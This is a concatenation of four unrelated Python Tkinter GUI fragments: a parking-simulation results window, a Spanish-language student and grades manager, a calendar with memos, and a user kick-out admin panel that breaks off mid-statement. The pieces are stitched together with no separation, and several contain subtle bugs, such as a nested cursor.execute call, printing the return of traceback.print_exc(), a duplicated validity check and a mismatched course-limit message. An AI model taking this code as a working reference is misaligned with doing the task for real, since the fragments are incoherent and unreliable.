class TkinterApp(object): def __init__(self, q, q2): self.txt_mostrar = ('Parked cars', 'Cars travelling for 1st parking', 'Non parking cars', 'Cars searching parking', 'Free slots') self.lista_labels_actualizar = list() self.window = Tk() self.window.resizable(False, False) self.window.title("Park results") #generamos la carpeta para guardar los datos self.ruta_carpeta = os.getcwd() + "\\Datos_{}".format( datetime.now().strftime("%Y-%m-%d %H-%M-%S")) if not os.path.exists(self.ruta_carpeta): os.makedirs(self.ruta_carpeta) for texto, contador in zip(self.txt_mostrar, count(0)): self.txt_numero = StringVar() self.txt_numero.set(0) self.lista_labels_actualizar.append(self.txt_numero) Label(self.window, text=texto).grid(column=0, row=contador, padx=10, pady=10) Label(self.window, textvariable=self.txt_numero, borderwidth=2, relief="solid", width=5).grid(column=1, row=contador, padx=10) Button(self.window, text="Open parked cars", command=lambda: self.callback()).grid(row=5, columnspan=2, pady=20) self.window.after(1, self.comprobar_cola, q) self.window.after(1, self.lanzar_ventana_tabla_aparcados, q2) def comprobar_cola(self, c_queue): try: datos_cola = c_queue.get(0) print("rec: ", datos_cola) self.lista_labels_actualizar[datos_cola[0]].set(str(datos_cola[1])) except Exception as e: pass finally: self.window.after(1, self.comprobar_cola, c_queue) def callback(self): t2 = multiprocessing.Process(target=envia_peticion, args=(q2, )) t2.start() # creamos una conexion inversa con el otro hilo def abrir_ventana_mapas(self, dataframe): test_mapas.lanza_mapa(self, dataframe, self.ruta_carpeta, from_excel) def OnDoubleClick(self, event): global df_mostrar try: df_interno = df_mostrar.round(2) item = self.tabla.identify('item', event.x, event.y) valor = int(self.tabla.item(item, "text")) fila = df_interno.loc[valor, :] # una vez clickado se abre una ventana con todos los datos de ese # vehiculo ventana_detalle = Toplevel() ventana_detalle.resizable(False, False) ventana_detalle.title("Vehicle details " + str(valor)) mostrar = ("Hora Entrada", "T busqueda real", "Nodo destino", "Nodo aparcamiento", "Distancia entre nodos", "Intentos aparcamiento", "Tarifa", "Hora aparcamiento", "Duracion aparcamiento", "Parking", "Secciones intento aparcamiento", "Seccion de paso") mostrar_eng = ("Entry simulation hour", "Search time", "Destination node", "Parking node", "Distance between nodes", "Parking atteempts", "Tariff", "Parking simulation hour", "Parking duration", "off-street Parking", "Sections attempted", "Park in a cross section?") for texto, texto_eng, contador in zip(mostrar, mostrar_eng, count(0)): Label(ventana_detalle, text=texto_eng).grid(column=0, row=contador, padx=10, pady=10) Label(ventana_detalle, text=fila[texto], borderwidth=2, relief="solid", width=70).grid(column=1, row=contador, padx=10) Button(ventana_detalle, text="Show maps", command=lambda: self.abrir_ventana_mapas(fila)).grid( row=12, columnspan=2, pady=20) except BaseException: print(traceback.print_exc()) def lanzar_ventana_tabla_aparcados(self, cola2): global df_mostrar try: diccionario = cola2.get(0) if from_excel: diccionario = pd.read_excel( r"C:\Users\Tablet\Desktop\2020-06-02__14_06_16_informe.xlsx" ) df_mostrar = copy.deepcopy(diccionario) ## print(df_mostrar) df_mostrar.set_index('ID', inplace=True) else: df_mostrar = copy.deepcopy(diccionario) df_mostrar.set_index('ID', inplace=True) # print(df_mostrar.head()) self.ventana = Toplevel() self.ventana.title('Coches aparcados') self.ventana.resizable(False, False) self.tabla = Treeview(self.ventana, columns=("car", "destination", "park", "attempts")) self.tabla['show'] = 'headings' for columna in ("car", "destination", "park", "attempts"): self.tabla.column(columna, width=100, anchor='c') self.vsb = Scrollbar(self.ventana, orient="vertical", command=self.tabla.yview) self.vsb.pack(side='right', fill='y') self.tabla.bind('<Double-1>', self.OnDoubleClick) self.tabla.configure(yscrollcommand=self.vsb.set) self.tabla.heading("car", text="Car number") self.tabla.heading("destination", text="Destination node") self.tabla.heading("park", text="Parking node") self.tabla.heading("attempts", text="Attempts") for index, coche in diccionario.iterrows(): self.tabla.insert( "", END, text=coche["ID.1"], #str(index), values=(coche["ID.1"], coche["Nodo destino"], coche["Nodo aparcamiento"], coche["Intentos aparcamiento"])) #str(index), self.tabla.pack() except Empty: pass except Exception as e: print(traceback.print_exc()) finally: self.window.after(1, self.lanzar_ventana_tabla_aparcados, cola2)
class MyProgram: def __init__(self, master): self._database = Data() self._materias = self._database.consultar('MATERIA') self._estudiantes = self._database.consultar('ESTUDIANTE') self._carrera = self._database.consultar('CARRERA') self._provincia = self._database.consultar('PROVINCIA') self._imgfile = 'profileIcon.png' self._master = master master.title("Sistema de Estudiantes") self.menubar = Menu(master) self.router_tree_view = ttk.Treeview(self._master) #menu 1 self.estudiantesmenu = Menu(self.menubar, tearoff=0) self.estudiantesmenu.add_command( label="Consultar", command=lambda: self.consultar("ESTUDIANTE")) self.estudiantesmenu.add_command( label="Modificar", command=lambda: self.estudianteControl()) self.menubar.add_cascade(label="Estudiantes", menu=self.estudiantesmenu) #menu 2 self.materiasmenu = Menu(self.menubar, tearoff=0) self.materiasmenu.add_command( label="Consultar", command=lambda: self.consultar("MATERIA")) self.materiasmenu.add_command(label="Modificar", command=lambda: self.materiaControl()) self.menubar.add_cascade(label="Materias", menu=self.materiasmenu) #menu 3 self.calificacionesmenu = Menu(self.menubar, tearoff=0) self.calificacionesmenu.add_command( label="Consultar", command=lambda: self.consultar("CALIFICACIONES")) self.calificacionesmenu.add_command( label="Modificar", command=lambda: self.calificacionControl()) self.menubar.add_cascade(label="Calificaciones", menu=self.calificacionesmenu) #menu 4 self.reportesmenu = Menu(self.menubar, tearoff=0) self.reportesmenu.add_command(label="Reporte html", command=lambda: self.reporteControl()) self.reportesmenu.add_command(label="Reporte mapa", command=lambda: self.reporteControlM()) self.reportesmenu.add_command(label="Reporte grafico", command=lambda: self.reporteControlG()) self.menubar.add_cascade(label="Reportes", menu=self.reportesmenu) master.config(menu=self.menubar) master.geometry("400x300") #end _init def reporteControl(self): idEstudiante = StringVar() filewin = Toplevel(self._master) Label(filewin, text="Estudiante").place(x=10, y=30) CbBoxEstudiante = ttk.Combobox( filewin, state='readonly', textvariable=idEstudiante, values=self.get_dataCombo('ESTUDIANTE')).place(x=100, y=30) botonReportee = Button( filewin, text="Reporte html", width=14, command=lambda: self.reporteH(idEstudiante.get())).place(x=100, y=80) filewin.geometry("250x200") filewin.mainloop() #end method def reporteControlM(self): idMateria = StringVar() idProvincia = StringVar() idLitereal = StringVar() filewin = Toplevel(self._master) Label(filewin, text="Materia").place(x=10, y=30) Label(filewin, text="Provincia").place(x=10, y=60) Label(filewin, text="Literal").place(x=10, y=90) CbBoxEstudiante = ttk.Combobox( filewin, state='readonly', textvariable=idMateria, values=self.get_dataCombo('MATERIA')).place(x=100, y=30) CbBoxProvincia = ttk.Combobox( filewin, state='readonly', textvariable=idProvincia, values=self.get_dataCombo('PROVINCIA')).place(x=100, y=60) CbBoxLiteral = ttk.Combobox(filewin, state='readonly', textvariable=idLitereal, values=['A', 'B', 'C', 'D', 'F', 'TODOS']).place(x=100, y=90) botonReporte = Button( filewin, text="Reporte mapa", width=14, command=lambda: self.reportM( [idMateria.get(), idProvincia.get(), idLitereal.get()])).place(x=100, y=130) filewin.geometry("250x200") filewin.mainloop() #end method def reporteControlG(self): filewin = Toplevel(self._master) idprovinciaBarra = StringVar() idprovinciaComp1 = StringVar() idprovinciaComp2 = StringVar() ttk.Combobox(filewin, state='readonly', textvariable=idprovinciaBarra, values=self.get_dataCombo('PROVINCIA')).place(x=170, y=71) ttk.Combobox(filewin, state='readonly', textvariable=idprovinciaComp1, values=self.get_dataCombo('PROVINCIA')).place(x=10, y=190) ttk.Combobox(filewin, state='readonly', textvariable=idprovinciaComp2, values=self.get_dataCombo('PROVINCIA')).place(x=230, y=190) Label(filewin, text="Notas por literales").place(x=10, y=30) Label(filewin, text="Literal por provincia").place(x=10, y=70) Label(filewin, text="Estudiantes por carrera").place(x=10, y=110) Label(filewin, text="Comparativo por provincia").place(x=10, y=150) photoLabel = Label(filewin) photoLabel.place(x=10, y=230) def setPhotoLabel(imagen): img = ImageTk.PhotoImage(Image.open(imagen)) photoLabel.config(image=img) photoLabel.photo = img # Label(filewin, text="Literal").place(x=10,y=90) # CbBoxEstudiante = ttk.Combobox(filewin, state='readonly', textvariable=idMateria, values=self.get_dataCombo('MATERIA')).place(x=100,y=30) # CbBoxProvincia = ttk.Combobox(filewin, state='readonly', textvariable=idProvincia, values=self.get_dataCombo('PROVINCIA')).place(x=100,y=60) # CbBoxLiteral = ttk.Combobox(filewin,state='readonly', textvariable=idLitereal, values=['A','B','C','D','F','TODOS']).place(x=100,y=90) botonReporteL = Button( filewin, text="Generar", width=14, command=lambda: self.reportG1(setPhotoLabel)).place(x=170, y=30) botonReporteP = Button( filewin, text="Generar", width=10, command=lambda: self.reportG2(idprovinciaBarra.get(), setPhotoLabel )).place(x=330, y=67) botonReporteP3d = Button( filewin, text="Generar en 3D", width=10, command=lambda: self.reportG5(idprovinciaBarra.get(), setPhotoLabel )).place(x=420, y=67) botonReporteC = Button( filewin, text="Generar", width=14, command=lambda: self.reportG3(setPhotoLabel)).place(x=170, y=110) botonReporteComp = Button( filewin, text="Generar", width=10, command=lambda: self.reportG4(idprovinciaComp1.get( ), idprovinciaComp2.get(), setPhotoLabel)).place(x=440, y=186) filewin.geometry("600x550") filewin.mainloop() #end method def materiaControl(self, id=0): codigo = StringVar() nombre = StringVar() filewin = Toplevel(self._master) Label(filewin, text="Codigo").place(x=10, y=30) Label(filewin, text="Nombre").place(x=10, y=60) TxtBoxCodigo = Entry(filewin, width=20, textvariable=codigo).place(x=100, y=30) TxtBoxNombre = Entry(filewin, width=20, textvariable=nombre).place(x=100, y=60) botonInsertar = Button(filewin, text="Insertar", width=14, command=lambda: self.insert_materia( [codigo.get(), nombre.get()])).place(x=10, y=120) # botonModificar=Button(filewin, text = "Modificar", width= 14).place(x=120, y=120) # botonBorrar=Button(filewin, text = "Borrar", width= 14,command=lambda:self.greet()).place(x=60, y=160) if id != 0: data = self._database.consultarById("MATERIA", "CODIGO", id) print(data[0]) codigo.set(data[0]) nombre.set(data[1]) #end condition filewin.geometry("250x200") filewin.mainloop() #end method def estudianteControl(self, id=0): mat = StringVar() cedula = StringVar() nom = StringVar() apellido = StringVar() self._imgfile = "profileIcon.png" sex = StringVar() idcarrera = StringVar() idprovincia = StringVar() filewin = Toplevel(self._master) Label(filewin, text="Cecula").place(x=10, y=30) Label(filewin, text="Nombre").place(x=10, y=60) Label(filewin, text="Apellido").place(x=10, y=90) Label(filewin, text="Sexo").place(x=10, y=120) Label(filewin, text="Matricula").place(x=10, y=150) Label(filewin, text="Carrera").place(x=10, y=180) Label(filewin, text="Provincia").place(x=10, y=210) canvas = Canvas(filewin, width=300, height=300).place(x=310, y=60) img = ImageTk.PhotoImage(Image.open(self._imgfile)) photoLabel = Label(filewin, image=img) photoLabel.place(x=320, y=60) TxtBoxCedula = Entry(filewin, width=20, textvariable=cedula).place(x=100, y=30) TxtBoxNombre = Entry(filewin, width=20, textvariable=nom).place(x=100, y=60) TxtBoxApellido = Entry(filewin, width=20, textvariable=apellido).place(x=100, y=90) TxtBoxSexo = Entry(filewin, width=20, textvariable=sex).place(x=100, y=120) TxtBoxMatricula = Entry(filewin, width=20, textvariable=mat).place(x=100, y=150) CbBoxCarrera = ttk.Combobox( filewin, state='readonly', textvariable=idcarrera, values=self.get_dataCombo('CARRERA')).place(x=100, y=180) CbBoxProvincia = ttk.Combobox( filewin, state='readonly', textvariable=idprovincia, values=self.get_dataCombo('PROVINCIA')).place(x=100, y=210) botonInsertar = Button(filewin, text="Insertar", width=14, command=lambda: self.insert_estudiante([ mat.get(), nom.get(), apellido.get(), cedula.get(), self._imgfile, sex.get(), idprovincia.get(), idcarrera.get() ])).place(x=10, y=240) botonConsultar = Button( filewin, text="Consultar", width=10, command=lambda: self.estudianteDesdeApi(cedula.get( ), [nom, apellido, sex], photoLabel)).place(x=300, y=30) #botonModificar=Button(filewin, text = "Modificar", width= 14,).place(x=120, y=120) #botonBorrar=Button(filewin, text = "Borrar", width= 14, command= lambda:self.greet()).place(x=60, y=160) if id != 0: data = self._database.consultarById("ESTUDIANTE", "ID_ESTUDIANTE", id) print(data[0]) mat.set(data[1]) nom.set(data[2]) apellido.set(data[3]) cedula.set(data[4]) self._imgfile = data[5] raw_data = urllib.request.urlopen(self._imgfile).read() img = Image.open(io.BytesIO(raw_data)) photo = ImageTk.PhotoImage(img) photoLabel.config(image=photo) photoLabel.photo = photo sex.set(data[6]) idprovincia.set(data[7]) idcarrera.set(data[8]) #end condition filewin.geometry("450x280") filewin.mainloop() #end method def calificacionControl(self, id=0): idEstudiante = StringVar() idMateria = StringVar() practica1 = StringVar() practica2 = StringVar() foro1 = StringVar() foro2 = StringVar() primerParcial = StringVar() segundoParcial = StringVar() examenFinal = StringVar() filewin = Toplevel(self._master) Label(filewin, text="Estudiante").place(x=10, y=10) Label(filewin, text="Materia").place(x=260, y=10) Label(filewin, text="Practica1").place(x=10, y=30) Label(filewin, text="Practica2").place(x=10, y=50) Label(filewin, text="Foro1").place(x=260, y=30) Label(filewin, text="Foro2").place(x=260, y=50) Label(filewin, text="Primer Parcial").place(x=10, y=70) Label(filewin, text="Segundo Parcial").place(x=10, y=90) Label(filewin, text="Examen Final").place(x=260, y=70) # TxtBoxEstudiante=Entry(filewin, width=20, textvariable=idEstudiante).place(x=100,y=10) CbBoxEstudiante = ttk.Combobox( filewin, state='readonly', textvariable=idEstudiante, values=self.get_dataCombo('ESTUDIANTE')).place(x=100, y=10) CbBoxMateria = ttk.Combobox( filewin, state='readonly', textvariable=idMateria, values=self.get_dataCombo('MATERIA')).place(x=350, y=10) # TxtBoxMateria1=Entry(filewin, width=20, textvariable=idMateria).place(x=350,y=10) TxtBoxPractica1 = Entry(filewin, width=20, textvariable=practica1).place(x=100, y=30) TxtBoxPractica2 = Entry(filewin, width=20, textvariable=practica2).place(x=100, y=50) TxtBoxForo1 = Entry(filewin, width=20, textvariable=foro1).place(x=350, y=30) TxtBoxForo2 = Entry(filewin, width=20, textvariable=foro2).place(x=350, y=50) TxtBoxPrimerParcial = Entry(filewin, width=20, textvariable=primerParcial).place(x=100, y=70) TxtBoxSegundoParcial = Entry(filewin, width=20, textvariable=segundoParcial).place(x=100, y=90) TxtBoxExamenfinal = Entry(filewin, width=20, textvariable=examenFinal).place(x=350, y=70) botonInsertar = Button( filewin, text="Insertar", width=14, command=lambda: self.insert_calificaciones(id if ( id != 0) else 0, [idEstudiante.get(), idMateria.get()], [ practica1.get(), practica2.get(), foro1.get(), foro2.get(), primerParcial.get(), segundoParcial.get(), examenFinal.get() ])).place(x=100, y=120) # botonModificar=Button(filewin, text = "Modificar", width= 14,).place(x=260, y=120) # botonBorrar=Button(filewin, text = "Borrar", width= 14,command= lambda:self.greet()).place(x=180, y=160) if id != 0: data = self._database.consultarById("CALIFICACIONES", "ID_CALIFICACION", id) print(data) idEstudiante.set(data[1]) idMateria.set(data[2]) practica1.set(data[3]) practica2.set(data[4]) foro1.set(data[5]) foro2.set(data[6]) primerParcial.set(data[7]) segundoParcial.set(data[8]) examenFinal.set(data[9]) #end condition filewin.geometry("500x200") filewin.mainloop() #end method def consultar(self, tabla): print(tabla) filewin = Toplevel(self._master) frame_router = Frame(filewin) frame_router.grid(row=4, column=0, columnspan=4, rowspan=6, pady=20, padx=20) infoTabla = self._database.infotabla(tabla) buscartabla = [] for campo in infoTabla: buscartabla.append(campo[1]) #end for dataTable = self._database.consultar(tabla) # print(dataTable[0][0]) columns = buscartabla self.router_tree_view = Treeview(frame_router, columns=columns, show="headings") self.router_tree_view.bind("<Double-1>", self.itemEvent) self.router_tree_view.column(buscartabla[0], width=100) for col in columns[0:]: self.router_tree_view.column(col, width=120) self.router_tree_view.heading(col, text=col) #end for print(dataTable) if type(dataTable) is list: i = 0 for data in dataTable: self.router_tree_view.insert(parent='', index='end', iid=self.dinamyFill(tabla, data)[0], values=self.dinamyFill( tabla, data)) i = i + 1 #end for self.router_tree_view.pack(side="left", fill="y") scrollbar = Scrollbar(frame_router, orient='vertical') scrollbar.configure(command=self.router_tree_view.yview) scrollbar.pack(side="right", fill="y") self.router_tree_view.config(yscrollcommand=scrollbar.set) botonEliminar = Button( filewin, text="Eliminar", width=14, command=lambda: self.tableItemDelete(tabla, filewin)).place(x=20, y=250) botonEditar = Button( filewin, text="Editar", width=14, command=lambda: self.tableItemEdit(tabla, filewin)).place(x=150, y=250) filewin.geometry(self.set_dimension(tabla)) filewin.mainloop() #end method def dinamyFill(self, tabla, data): if tabla == "ESTUDIANTE": return (data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8]) elif tabla == "MATERIA": return (data[0], data[1]) elif tabla == "CALIFICACIONES": return (data[0], data[1], data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9]) #end method def set_dimension(self, tabla): dimension = "700x300" if tabla == "MATERIA": dimension = "400x300" elif tabla == "CALIFICACIONES": dimension = "800x300" return dimension #end method def itemEvent(self): item = self.router_tree_view.selection( ) #[0] # now you got the item on that tree print("you clicked on id", item[0]) #end method def tableItemDelete(self, tabla, f): item = self.router_tree_view.selection( ) #[0] # now you got the item on that tree if len(item) > 0: print("you clicked on id", item[0]) if tabla == "ESTUDIANTE": data = self._database.delete(item[0], tabla, 'ID_ESTUDIANTE') messagebox.showinfo(title='Informacion', message=data) f.destroy() elif tabla == 'MATERIA': data = self._database.delete(item[0], tabla, 'CODIGO') messagebox.showinfo(title='Informacion', message=data) f.destroy() else: data = self._database.delete(item[0], tabla, 'ID_CALIFICACION') messagebox.showinfo(title='Informacion', message=data) f.destroy() else: messagebox.showinfo(title='Informacion', message='Seleccione algo') #end method def tableItemEdit(self, tabla, f): item = self.router_tree_view.selection( ) #[0] # now you got the item on that tree if len(item) > 0: print("you clicked on id", item[0]) if tabla == "ESTUDIANTE": f.destroy() self.estudianteControl(item[0]) #print(self._database.delete(item[0], tabla, 'ID_ESTUDIANTE')) elif tabla == 'MATERIA': f.destroy() self.materiaControl(item[0]) # print(self._database.delete(item[0], tabla, 'CODIGO')) else: f.destroy() self.calificacionControl(item[0]) # print(self._database.delete(item[0], tabla, 'ID_CALIFICACION')) else: messagebox.showinfo(title='Informacion', message='Seleccione algo') #end method def insert_estudiante(self, values): dic = {'data': values, 'notas': [0, 0, 0, 0, 0, 0, 0]} alumno = Alumno(dic) print('data antes', dic['data']) if alumno.is_valid(): data = self._database.insert( [(dic['data'][0], dic['data'][0], dic['data'][1], dic['data'][2], dic['data'][3], dic['data'][4], dic['data'][5], dic['data'][6], dic['data'][7])], 'ESTUDIANTE', 9) messagebox.showinfo(title='Informacion', message=data) self._estudiantes = self._database.consultar('ESTUDIANTE') else: messagebox.showinfo(title='Informacion', message='Datos no validos') #end method def insert_materia(self, values): if values[0] != "" and values[0] != "": data = self._database.insert([(values[0], values[1])], 'MATERIA', 2) messagebox.showinfo(title='Informacion', message=data) self._materias = self._database.consultar('MATERIA') else: messagebox.showinfo(title='Informacion', message='Datos no validos') #end method def insert_calificaciones(self, editing, info, values): # dic = {'data':['','',''],'notas':values} ncalif = self._database.calificacionByEstudiante(info[0]) print(len(ncalif)) nota = Notas(values) print(info) print(values) now = datetime.now() timestamp = datetime.timestamp(now) id = str(timestamp) if nota.is_valid( ) and info[0] != "" and info[1] != '' and len(ncalif) < 4: data = self._database.insert( [(editing if (editing != 0) else id[11:17], info[0], info[1], values[0], values[1], values[2], values[3], values[4], values[5], values[6])], "CALIFICACIONES", 10) messagebox.showinfo(title='Informacion', message=data) else: messagebox.showinfo(title='Informacion', message='Ya tiene 3 materias.' if (len(ncalif) == 3) else 'Datos no validos') #end method def estudianteDesdeApi(self, cedula, inputsFields, photoLabel): if (cedula != ""): respuestaServicio = Services(cedula).get_datos() #manejo de service fail print('aqui', respuestaServicio) if respuestaServicio['ok'] != False: if "Cedula" in respuestaServicio: print(respuestaServicio) inputsFields[0].set(respuestaServicio['Nombres']) inputsFields[1].set( f"{respuestaServicio['Apellido1']} {respuestaServicio['Apellido2']}" ) inputsFields[2].set(respuestaServicio['IdSexo']) print(respuestaServicio["foto"]) self._imgfile = respuestaServicio["foto"] raw_data = urllib.request.urlopen(self._imgfile).read() img = Image.open(io.BytesIO(raw_data)) photo = ImageTk.PhotoImage(img) photoLabel.config(image=photo) photoLabel.photo = photo print(photo) #image = ImageTk.PhotoImage(im) # else: # messagebox.showinfo(title='Informacion', message='Cedula no encontrada') else: messagebox.showinfo( title='Informacion', message='Ha ocurrido un error, intente otra cedula.') else: messagebox.showinfo(title='Informacion', message='Cedula no valida.') #end method def greet(self): messagebox.showinfo(title='Informacion', message='Greetings!') #end methhod def get_dataCombo(self, tabla): data = [] values = self._estudiantes if tabla == 'MATERIA': values = self._materias elif tabla == 'CARRERA': values = self._carrera elif tabla == 'PROVINCIA': values = self._provincia i = 0 for v in values: data.append(v[1] if ( tabla == 'PROVINCIA' or tabla == 'CARRERA') else v[0]) i = i + 1 return data #end method def reporteH(self, m): print(m) report = Reporte(m) report.get_report() #end method def reportM(self, values): #0 materi 1 provincia 2 literal if values[0] != "" and values[1] != "" and values[2] != "": report = Reporte('20202020') report.get_reportM(values) else: messagebox.showinfo(title='Informacion', message='Seleccione los campos.') #end method def reportG3(self, setPhotoLabel): values = self._database.estudianteByCarrera() # values=[(1, 'Ingeniería de software'), (2, 'Ingeniería industrial')] value = [] legend = [] for i in values: value.append(i[0]) legend.append(i[1]) report = Reporte('20202020') # values=['tipo',[0,2,4],['juan','pedro'],'title','colum','values'] data = ['pastel', value, legend, 'Estudiantes por carreras'] report.get_reportG(data) setPhotoLabel("pastel.png") #end method def reportG1(self, setPhotoLabel): n = self._database.consultar('CALIFICACIONES') letras = {'A': 0, 'B': 0, 'C': 0, 'D': 0, 'F': 0} for i in n: nota = Notas([i[3], i[4], i[5], i[6], i[7], i[8], i[9]]) cal = Calculo(nota) for f in letras: if f == cal.get_literal(): letras[f] = letras[f] + 1 print(letras) report = Reporte('20202020') # values=['tipo',[0,2,4],['juan','pedro'],'title','colum','values'] value = [i for i in letras] legend = [letras[i] for i in letras] data = [ 'barra', value, legend, 'Notas por literal', 'Literal', 'Cantidad' ] report.get_reportG(data) setPhotoLabel("barra.png") #end method def reportG5(self, idProvincia, setPhotoLabel): if (idProvincia): n = self._database.literalesByProvincia() graphData = self.filterLiteralsByProvince(idProvincia, n) report = Reporte('20202020') data = [ 'barra3D', graphData[0], graphData[1], f'Notas en {idProvincia}', 'Literal', 'Cantidad' ] report.get_reportG(data) setPhotoLabel("barra3D.png") else: messagebox.showinfo(title='Informacion', message='Seleccione una provincia') #end method def reportG2(self, idProvincia, setPhotoLabel): if (idProvincia): n = self._database.literalesByProvincia() graphData = self.filterLiteralsByProvince(idProvincia, n) report = Reporte('20202020') data = [ 'barra', graphData[0], graphData[1], f'Notas en {idProvincia}', 'Literal', 'Cantidad' ] report.get_reportG(data) setPhotoLabel("barra.png") else: messagebox.showinfo(title='Informacion', message='Seleccione una provincia') #end method def filterLiteralsByProvince(self, idProvincia, grade): letras = {'A': 0, 'B': 0, 'C': 0, 'D': 0, 'F': 0} for i in grade: if (i[10] == idProvincia): nota = Notas([i[3], i[4], i[5], i[6], i[7], i[8], i[9]]) cal = Calculo(nota) for f in letras: if f == cal.get_literal(): letras[f] = letras[f] + 1 value = [i for i in letras] legend = [letras[i] for i in letras] return [value, legend] def reportG4(self, idProvincia1, idProvincia2, setPhotoLabel): if (idProvincia1 and idProvincia2): values = self._database.literalesByProvincia() graphData1 = self.filterLiteralsByProvince(idProvincia1, values) graphData2 = self.filterLiteralsByProvince(idProvincia2, values) provincias = [idProvincia1, idProvincia2] report = Reporte('20202020') data = [ 'Comparativo', graphData1, graphData2, 'Grafico Comparativo', provincias ] report.get_reportG(data) setPhotoLabel("Comparativo.png") else: messagebox.showinfo(title='Informacion', message='Seleccione las provincias')
def calender(w): global year, mon date_bg = "white" date_fg = "black" date_fgb = "blue" date_bgt = "white" date_fgt = "red" day_bg = "orange" day_fg = "white" mon_bg = "violet" mon_fg = "white" Magic_Sequence = "2345012356013456123460124560" month = { "jan": 0, "feb": 8, "mar": 25, "apr": 5, "may": 1, "jun": 9, "jul": 5, "aug": 13, "sep": 21, "oct": 17, "nov": 25, "dec": 21, } months = ["jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec"] day = ["sun", "mon", "tue", "wed", "thu", "fri", "sat"] # ~ current year and month now = ctime().split() year = int(now[4]) mon = now[1].lower() date = int(now[2]) def Cal_config(modify=False): global year, mon mon_limit = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] now = ctime().split() cyear = int(now[4]) cmon = now[1].lower() cdate = int(now[2]) if modify == "go": year, mon = int(y.entry.get()), m.entry.get() elif modify: if months.index(mon) + modify > 11: year, mon = year + 1, "jan" elif months.index(mon) + modify < 0: year, mon = year - 1, "dec" else: mon = months[months.index(mon) + modify] monl.config(text="%s - %d" % (mon.title(), year)) if not year % 4: mon_limit[1] = 29 # Leap year Check year_id = (year + 3) % 28 Required_Sequence = Magic_Sequence[month[mon] :] + Magic_Sequence[: month[mon]] addition_factor = int(Required_Sequence[year_id]) notes = CalLookUp(mon) d = 1 for i in range(37): if i < addition_factor or d > mon_limit[months.index(mon)]: # blank positions datebuttons[i].config(text="", bg=date_bg, activebackground=date_bg) else: # positions with date bc, fc = date_bg, date_fg bracket = 0 if year == cyear and mon == cmon and d == cdate: bc, fc, bracket = date_bgt, date_fgt, 1 if "%0.2d" % (d) in notes: fc = date_fgb datebuttons[i].config( text="%s%0.2d%s" % ("(" * bracket, d, ")" * bracket), bg=bc, fg=fc, activebackground="yellow", activeforeground="black", ) d += 1 for each_item in Entries.get_children(): Entries.delete(each_item) ordered = [] for memo in notes: ordered.append(memo) ordered.sort() for memo in ordered: for note in notes[memo]: Entries.insert("", "end", values=(memo, note[0], note[1])) print("Cal configured to", mon, year) # ~ main calender frame pane = tkinter.tix.PanedWindow(w, orientation="vertical") pane.pack(side=tkinter.tix.TOP, fill=BOTH) f1 = pane.add("top", size=190, expand="0", allowresize=0) f2 = pane.add("info", expand="0", allowresize=0) f1pane = tkinter.tix.PanedWindow(f1, orientation="horizontal") f1pane.pack(side=tkinter.tix.TOP, fill=BOTH) f1f1 = f1pane.add("calender", size=200, allowresize=0) f1f2 = f1pane.add("options", allowresize=0) # ~ month heading calhead = Frame(f1f1, bg=date_bg) back = Button( calhead, text="<<<", width=5, bg=date_bg, activebackground="red", activeforeground="white", borderwidth=0, command=lambda modify=-1: Cal_config(modify), ) monl = Label(calhead, width=15, bg=mon_bg, fg=mon_fg) next = Button( calhead, text=">>>", width=5, bg=date_bg, activebackground="red", activeforeground="white", borderwidth=0, command=lambda modify=1: Cal_config(modify), ) back.pack(side=LEFT) monl.pack(side=LEFT, padx=10) next.pack(side=LEFT) calhead.pack(fill=X) # ~ day lables DayFrame = Frame(f1f1, bg=day_bg) daylabels = [] for i in range(7): daylabels.append(Label(DayFrame, text=day[i], width=3, bg=day_bg, fg=day_fg)) daylabels[i].pack(side=LEFT, padx=2) DayFrame.pack(fill=X) # ~ date buttons datebuttons = [] dfl = [] for i in range(6): dfl.append(Frame(f1f1, bg=date_bg)) dfl[i].pack(fill=X) j = 0 for i in range(37): datebuttons.append(Button(dfl[j], width=3, borderwidth=0)) datebuttons[i].pack(side=LEFT, padx=2) if not (i + 1) % 7: j += 1 # ~ information frame mem = Label(f2, text="Memos :") disp_frame = tkinter.Frame(f2) tree_columns = ("Date", "Note", "Category") Entries = Treeview(disp_frame, columns=tree_columns, show="headings", height=5) vsb = Scrollbar(disp_frame, orient="vertical", command=Entries.yview) Entries.configure(yscrollcommand=vsb.set) for col in tree_columns: Entries.heading(col, text=col.title()) Entries.column("Date", width=50) Entries.column("Note", width=150) Entries.column("Category", width=100) vsb.pack(side=RIGHT, fill=Y) Entries.pack(fill=BOTH) mem.pack(fill=X) disp_frame.pack(fill=BOTH) # ~ option frame L = Label(f1f2, text="More Options:") view = Frame(f1f2) y = ComboBox(view, editable=1) y.entry.config(width=5) y.entry.insert(0, year) m = ComboBox(view, editable=1) m.entry.config(width=4) m.entry.insert(0, mon) go = Button(f1f2, text="<<< Go", command=lambda modify="go": Cal_config(modify)) for i in range(200): y.insert(END, "%d" % (i + 1901)) for i in months: m.insert(END, i) y.pack(side=LEFT) m.pack() L.pack(fill=X) view.pack(fill=X) go.pack(fill=X) # ~ first config Cal_config()
class SuperUser: def __init__(self): self.win = Tk() self.win.title("The Hive") self.win.geometry('{}x{}'.format(700, 400)) self.canvas = Canvas(self.win, bg='#454b54') self.widget = Label(self.canvas, text='Select User to kick out: ', font='Arial 15 bold', fg='white', bg='#454b54') self.kickOutbutton = Button(self.canvas, text="Kick Out User", font='Arial 15 bold', bg='#454b54', fg="#f7cc35", command=self.kickOut) self.list = Treeview(self.canvas, columns=(1, 2, 3, 4, 5), show="headings", height="15") def main(self): self.canvas.pack(expand=TRUE, fill=BOTH) self.widget.pack(fill=X) self.list.pack() self.list.heading(1, text="Username") self.list.column(1, width=100) self.list.heading(2, text="Email") self.list.column(2, width=200) self.list.heading(3, text="Reputation") self.list.column(3, width=65) self.list.heading(4, text="Type") self.list.column(4, width=50) self.list.heading(5, text="Taboo") self.list.column(5, width=50) db.cursor.execute( " SELECT username,email,reputation_score,user_type,taboo_count FROM users\ WHERE user_type <> 'SU';") for row in db.cursor.fetchall(): self.list.insert('', END, values=row) self.kickOutbutton.pack(expand=TRUE) self.win.mainloop() def kickOut(self): for selected_item in self.list.selection(): username = self.list.item(selected_item, 'values')[0] email = self.list.item(selected_item, 'values')[1] self.list.delete(selected_item) db.cursor.execute( db.cursor.execute( 'UPDATE users SET login_time = "LAST" WHERE username = %s', (username, ))) # db.cursor.execute(db.cursor.execute('DELETE FROM user WHERE username = %s', (username,))) subject = 